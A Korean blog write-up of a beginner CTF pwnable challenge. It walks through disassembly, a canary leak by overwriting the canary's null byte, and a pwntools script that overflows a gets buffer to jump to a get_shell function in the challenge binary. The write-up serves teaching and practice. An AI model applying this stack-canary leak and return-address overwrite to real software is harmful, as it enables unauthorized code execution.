이번에 SISS에서 처음으로 pwnable을 3명이나 출제했다는 소식에 해킹캠프는 참여하지는 않았지만, SISS 부원들이 제작한 문제만 풀어보기로 했다.
# 문제분석
checksec로 확인해보니 canary외에는 크게 신경써야 할 보호기법이 보이지 않는 것 같다
카나리만 우회한다면 buffer overflow 취약점으로 return address를 조작할 수 있지 않을까라고 생각했다
문제풀이에 유용한 함수를 찾아보기 위해 pwndbg의 info func 기능을 사용해보았다
get_shell 함수를 확인할 수 있었고 gdb로 확인했을 때 shell을 딸 수 있게해주는 함수인 것을 확인할 수 있었다
main에서 사용되는 함수와 함수에 사용되는 인자 값으로 예측한 프로그램의 흐름은 다음과 같다
1. buf가 선언되어 있음
2. read 함수를 통해 buf에 0x1000만큼 입력할 수 있음
3. puts 함수를 통해 buf에 입력된 값을 출력함
4. gets 함수를 통해 한 번더 buf에 입력을 할 수 있음
# Exploit
- exploit 과정
위에서 확인한 흐름이라면 buf 다음에는 canary가 존재하고 있다
canary는 마지막에 null 바이트를 가지고 있으므로 buf 크기보다 1만큼 더 큰 값을 덮어씌운다면,
null 바이트가 덮어씌워지면서 카나리를 leak할 수 있을 것이다.
따라서 디버깅을 통해 buf와 canary사이의 거리를 먼저 구해주어야 한다
pwndbg> disass main
Dump of assembler code for function main:
0x0000000000400929 <+0>: push rbp
0x000000000040092a <+1>: mov rbp,rsp
0x000000000040092d <+4>: sub rsp,0x20
0x0000000000400931 <+8>: mov rax,QWORD PTR fs:0x28
0x000000000040093a <+17>: mov QWORD PTR [rbp-0x8],rax # stack에 카나리 저장
0x000000000040093e <+21>: xor eax,eax
0x0000000000400940 <+23>: mov eax,0x0
0x0000000000400945 <+28>: call 0x40086f <initialize>
0x000000000040094a <+33>: mov edi,0x400a65
0x000000000040094f <+38>: mov eax,0x0
0x0000000000400954 <+43>: call 0x4006e0 <printf@plt>
0x0000000000400959 <+48>: mov rax,QWORD PTR [rip+0x200720] # 0x601080 <stdout@@GLIBC_2.2.5>
0x0000000000400960 <+55>: mov rdi,rax
0x0000000000400963 <+58>: call 0x400740 <fflush@plt>
0x0000000000400968 <+63>: lea rax,[rbp-0x20]
0x000000000040096c <+67>: mov edx,0x1000
0x0000000000400971 <+72>: mov rsi,rax # buf의 시작 주소를 인자로 넘겨줌
0x0000000000400974 <+75>: mov edi,0x0
0x0000000000400979 <+80>: call 0x400700 <read@plt>
0x000000000040097e <+85>: lea rax,[rbp-0x20]
0x0000000000400982 <+89>: mov rdi,rax
0x0000000000400985 <+92>: call 0x4006c0 <puts@plt>
0x000000000040098a <+97>: mov rax,QWORD PTR [rip+0x2006ef] # 0x601080 <stdout@@GLIBC_2.2.5>
0x0000000000400991 <+104>: mov rdi,rax
0x0000000000400994 <+107>: call 0x400740 <fflush@plt>
0x0000000000400999 <+112>: lea rax,[rbp-0x20]
0x000000000040099d <+116>: mov rdi,rax
0x00000000004009a0 <+119>: mov eax,0x0
0x00000000004009a5 <+124>: call 0x400730 <gets@plt>
0x00000000004009aa <+129>: mov eax,0x0
0x00000000004009af <+134>: mov rcx,QWORD PTR [rbp-0x8]
0x00000000004009b3 <+138>: xor rcx,QWORD PTR fs:0x28
0x00000000004009bc <+147>: je 0x4009c3 <main+154>
0x00000000004009be <+149>: call 0x4006d0 <__stack_chk_fail@plt>
0x00000000004009c3 <+154>: leave
0x00000000004009c4 <+155>: ret
End of assembler dump.
main 함수의 disassemble code는 다음과 같다
확인해야 할 부분을 주석으로 남겨보았다
우선은 거리 확인을 위해 현재 실행 시점에서 카나리 값이 어떤 값이며,
stack 내에 어느 위치에 저장되는지 확인해야한다.
그 다음으로는 입력 값이 저장되는 buf의 시작 주소를 확인해야 한다.
main+21에 breakpoint를 설정하고 rbp-0x8 위치에 canary가 저장되었음을 확인했다.
카나리가 저장된 시작주소는 0x7fffffffdf58 이다
다음으로는 main+75에 브레이크 포인트를 걸어 rsi 레지스터에 저장된 buf의 시작주소를 확인하고
ni 명령어를 사용하여 "AAAA"를 입력해본다
이때 buf의 시작주소는 0x7fffffffdf40임을 확인할 수 있다
우리가 입력한 AAAA가 buf에 잘 들어갔음을 확인할 수 있다.
카나리와 buf 사이에는 0x18(=24) 만큼의 offset이 존재한다
이를 통해 생각할 수 있는 exploit 흐름은 다음과 같다
1. 처음 read를 통해 offset+1 만큼의 dummy를 buf에 저장한다
2. puts로 buf를 출력하는 과정에서 null 바이트가 덮어씌워진 canary를 leak할 수 있다
3. gets 함수를 사용해 "offset크기만큼의 dummy + leak한 canary + rbp(8byte) + ret(get_shell)"를 입력
- exploit code
exploit 흐름에 따라 작성한 exploit code는 다음과 같다
from pwn import *
p = process("./step")
elf = ELF("./step")
payload = b"A" * (24 + 1)
p.send(payload)
p.recvuntil(payload)
canary = u64(b"\x00" + p.recvn(7))
get_shell = elf.symbols["get_shell"]
payload = b"A" * 24 + p64(canary) + b"A" * 8 + p64(get_shell)
p.sendline(payload)
p.interactive()
실제 서버에서 플래그를 획득한 모습은 다음과 같다
해당 문제를 푸는데 어려움이 있었다면 dreamhack systemhacking 커리에 있는 내용을 공부하면 좋을 것 같아
이전에 포스팅 했던 글들을 첨부한다
개념적으로 이해하기 위해서는 아래의 글을 참고하면 되고,
실제 dreamhack wargame 문제에 적용하여 풀었던 문제는 아래에 첨부했다
아마 해당 문제는 pwnable을 처음 공부하는 사람들이 첫 CTF에서 문제를 풀 수 있다는 자신감을 줄 수 있는 문제가 아니었을까 싶다
SISS 파이팅 ^^...
'War Game & CTF > CTF-writeup' 카테고리의 다른 글
[2023 Hacking-Camp CTF / pwnable] horcrux write-up (0) | 2023.02.14 |
---|